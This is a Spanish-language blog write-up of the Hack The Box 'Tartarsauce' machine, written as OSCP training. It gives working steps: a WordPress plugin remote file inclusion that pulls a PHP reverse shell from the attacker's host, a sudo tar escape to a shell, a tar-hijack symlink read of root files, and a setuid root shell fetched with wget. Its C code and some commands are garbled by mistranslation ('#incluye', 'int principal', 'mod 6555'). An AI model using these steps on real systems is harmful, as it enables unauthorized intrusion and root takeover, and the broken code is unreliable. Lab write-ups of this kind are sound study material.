Road to OSCP - Hack The Box Write Up - Tartarsauce

Blog

6
- Abril
2020
Road to OSCP - Hack The Box Write Up - Tartarsauce

Hack the Box es una plataforma en línea para probar y mejorar tus habilidades en pruebas de penetración y ciberseguridad.

En esta serie de artículos mostraremos cómo los evaluadores junior completan algunas máquinas de Hack The Box en su camino hacia OSCP, una certificación muy conocida, respetada y requerida para muchos puestos de ciberseguridad. Los certificados OSCP son capaces de identificar las vulnerabilidades existentes y ejecutar ataques organizados de manera controlada. Pueden aprovechar o modificar el código de exploits existentes en su beneficio, realizar pivoting en la red y exfiltrar datos, y comprometer los sistemas debido a configuraciones deficientes.

¡Empecemos con la diversión!

Tartarsauce

Initial Foothold

Nmap muestra que hay un robots.txt, que nos lleva a http://10.10.10.88/webservices/monstra-3.0.4/, un sitio web construido usando monstra como CMS (Sistema de gestión de contenidos o Content Management System). Además, también vemos la versión: 3.0.4.

Buscando en la página encontramos un panel de administración: http://10.10.10.88/webservices/monstra-3.0.4/admin

Intentando admin:admin, accedemos.

Haciendo searchsploit monstra vemos que hay un RCE autenticado para la versión 3.0.4. MASSIVE RABBITHOLE

Resulta que tenemos que usar Gobuster en http://10.10.10.88/webservices para encontrar /wp, un directorio de WordPress. Una herramienta muy común utilizada para enumerar los sitios de wordpress es wpscan.

Asi que tratamos de ejecutar wpscan --url http://10.10.10.88/webservices/wp, pero no nos da nada útil.

Intentemos enumerar los plugins también: wpscan --url http://10.10.10.88/webservices/wp -e p. Desafortunadamente, tampoco muestra nada útil. Parece que tenemos que leer el manual de wpscan y probar diferentes banderas.

Attempt #3621: wpscan --url http://10.10.10.88/webservices/wp -e ap --wp-plugins-dir http://10.10.10.88/webservices/wp/wp-content/plugins/ --plugins-detection aggressive. Muestra todos los plugins, incluyendo uno llamado gwolle-gb con la versión: 2.3.10.

Aparentemente, el creador de The Box ha modificado el readme.txt para el plugin gwolle-gb, lo que lleva wpscan a reportar la versión equivocada: Version: 2.3.10 (100% confidence).

En realidad, el plugin es la versión 1.5.3 que tiene una vulnerabilidad de inclusión de archivos remotos (RFI).

  1. Configura un shell php inverso y llámalo wp-load.php.
  2. Servirlo a través de HTTP: python3 -m http.server.
  3. Configurar el listener: ncat -lnvp 6969.
  4. Activar el RFI: 10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.13:8000/.

Obtenemos un shell como www-data.

User

Un rápido sudo -l muestra que podemos ejecutar /bin/tar como usuario onuma. Echandoun vistazo a GTFOBins encontramos la siguiente manera de escalar al usuario onuma. sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Conseguimos con éxito una shell como usuario onuma.

Bonus

Cambia /bin/sh por /bin/bash para evitar que tener que mejorar la shell. sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

Root

Después de un poco de enumeración y de pasar por unas cuantas barreras, decidí hacer de pspy (32 bits version) y encontre este peculiar comando ejecutándose como root: /bin/bash /usr/sbin/backuperer

Este script básicamente crea un archivo tar (como usuario onuma) del directorio /var/www/html y lo coloca bajo /var/tmp con un nombre al azar. Luego, después de 30 segundos, root... lo descomprime y comprueba si hay diferencias con el directorio /var/www/html usando el diff y envía las diferencias al archivo var/backups/onuma_backup_error.txt.

Entonces, ¿por qué es vulnerable este script?

  • Los comandos tar que crean el archivo temporal se ejecutan como el usuario onuma, dándonos el oportunidad de modificarlo.
  • El script espera 30 segundos, dándonos tiempo suficiente para secuestrar el archivo tar.
  • El segundo comando tar usado para descomprimir el archivo se ejecuta como usuario root.
  • Usa diff para mostrar las diferencias en un archivo, al que todos tienen acceso de lectura.
  • tar preserva los enlaces simbólicos. Así que, si enlazamos un archivo existente a root.txt, las diferencias entre estos dos archivos se escribirá en el archivo creado por diff, permitiéndonos efectivamente leer los archivos propiedad de la raíz.

Cómo explotarlo:

  1. Crear el siguiente directorio dentro de /var/tmp: cd /var/tmp && mkdir -p var/www/html.
  2. Dentro del directorio creado en el paso anterior, crear un enlace simbólico a root.txt usando el nombre de un archivo que existe en var/www/html. Por ejemplo: ln -s /root/root.txt index.html.
  3. Crear un archivo tar de ese directorio: cd /var/tmp && tar -zcvf read_flag.tar.gz var.
  4. Espera hasta que se cree el archivo temporal: watch -n 1 ls -a /var/tmp. Este archivo se crea cada 5 minutos (compruebe el la hora con systemctl list-timers).
  5. Una vez creado el archivo, tendrá un nombre de aspecto aleatorio, por ejemplo, 0.30d1cea06ced0ae7c8c3cd0a8d0aa8f6ba32395. Tenemos 30 segundos para secuestrar este archivo: mv /var/tmp/read_flag.tar.gz /var/tmp/.30d1cea06ced0ae7c8c3cd0a8d0aa8f6ba32395.
  6. Espera a que terminen los 30 segundos y luego lee el archivo de diferencias: cat /var/backups/onuma_backup_error.txt.
  7. El contenido de /root/root.txt se muestra en el archivo.

Bonus. Conseguir una shell como root

Después de ver el video de Ippsec, he aprendido cómo obtener una shell como root a través de la misma vulnerabilidad del script.

Tar mantiene los permisos de los archivos, y como root ejecuta el comando star para descomprimir, podemos hacer que cualquier archivo queremos que sea propiedad de root con los permisos que queramos. ¿Cómo nos ayuda esto? Podemos colocar un archivo que usa setuid para root y ejecuta bin/sh

setuid.c

#incluye <stdio.h>
#incluir <stdlib.h>
#include <unistd.h>

int principal ( int argc, char *argv[] )
{
    setreuid(0,0);
    execve("/bin/sh", NULL, NULL);
}
  1. Compílalo: gcc -m32 -o setuid setuid.c. (Requires gcc-multilib).
  2. En nuestra máquina de Kali: Crear el directorio de destino: mkdir -p var/www/html.
  3. Ponga setuid en ese directorio: mv setuid var/www/html.
  4. Establezca los permisos: mod 6555 var/www/html/setuid --> setuid, setgid y leer/ejecutar para todos.
  5. Comprime el archivo: tar -zcvf setuid.tar.gz var.
  6. Configurar un servidor HTTP de python: python3 -m http.server.
  7. En la máquina de la víctima, cd /var/tmp && wget 10.10.14.13:8000/setuid.tar.gz.
  8. Espere a que aparezca el archivo temporal: watch -n 1 ls -la /var/tmp.
  9. Renombra nuestro archivo tar con el mismo nombre del archivo temporal: cp /var/tmp/setuid.tar.gz /var/tmp/.58874e2f64a0c7874a329b7e38efea000c2df2d7.
  10. Espere 30 segundos.
  11. Ejecute nuestro archivo setuid: /var/tmp/check/var/www/html/setuid.

Y obtendremos una shell como root.

# Id
uid=0(raíz) gid=1000(onuma) grupos=1000(onuma),24(cdrom),30(dip),46(plugdev)
Ángel Guzmán/Evaluador Junior

Grado y Master en Ingeniería de Tecnologías de Telecomunicación por la Universidad de Granda, especializado en telématica. Se unió a jtsec en noviembre de 2019 como evaluador de ciberseguridad Junior.

Desde su unión a jtsec, ha participado en varios proyectos internos de hardware hacking y ha recibido formación sobre la certificación LINCE.

Su principal motivación es aprender, desde pequeñas herramientas para su trabajo diario hasta nuevas tecnologías.


Contacto

¡Envíanos tus dudas o sugerencias!

Al enviar tus datos nos permites que los usemos para resolver tus dudas enviándote información comercial de tu interés. Los suprimiremos cuando dejen de ser necesarios para esto. Infórmate de tus derechos en nuestra Política de Privacidad.